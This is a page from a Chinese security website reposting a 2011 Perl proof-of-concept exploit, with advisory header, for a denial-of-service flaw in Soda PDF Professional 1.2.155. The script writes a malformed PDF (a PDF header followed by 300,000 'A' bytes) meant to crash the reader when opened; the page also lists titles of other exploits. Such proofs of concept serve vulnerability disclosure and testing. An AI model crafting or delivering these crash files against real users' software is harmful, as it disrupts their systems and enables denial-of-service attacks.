首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Soda PDF Professional 1.2.155 Denial Of Service
来源:liquidworm gmail com 作者:LiquidWorm 发布时间:2011-11-11  
#!/usr/bin/perl
#
#
# Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)
#
#
# Vendor: LULU software
# Product web page: http://www.sodapdf.com
# Affected version: 1.2.155.1729 (Professional with OCR)
#
# Summary: Increase your efficiency with Soda PDF Professional, the smart
# & simple tool for opening, creating, editing, converting, and securing
# PDF files in a collaborative environment. Save time by using powerful
# automated features like batch PDF creation, professional templates &
# document comparison.
#
# Desc: Soda PDF Pro suffers from a restriction of service (RoS) vulnerability
# when handling PDF or WWF file formats which can be exploited by malicious
# people to cause a denial of service scenario.
#
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
#
#
# Advisory ID: ZSL-2011-5056
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5056.php
#
#
# 10.11.2011
#


use strict;

my $file = "Midnight_in_Paris.pdf"; # or .wwf
my $tovar = "\x25\x50\x44\x46\x0A"."\x41" x 300000;
print "\n\n[*] Creating $file file...\n";
open ZSL, ">./$file" || die "\nCan't open $file: $!";
print ZSL $tovar;
print "\n[.] File successfully mounted!\n\n";
close ZSL;

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·glibc LD_AUDIT arbitrary DSO l
·AbsoluteFTP 1.9.6 - 2.2.10 Rem
·MS11-083 Denial Of Service
·AbsoluteFTP 1.9.6 - 2.2.10 Rem
·Kool Media Converter v2.6.0 DO
·Aviosoft Digital TV Player Pro
·Support Incident Tracker <= 3.
·Comtrend Router CT-5624 Remote
·Aviosoft Digital TV Player Pro
·Oracle XDB.XDB_PITRIG_PKG.PITR
·Wordpress Zingiri Plugin <= 2.
·Oracle Hyperion Strategic Fina
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved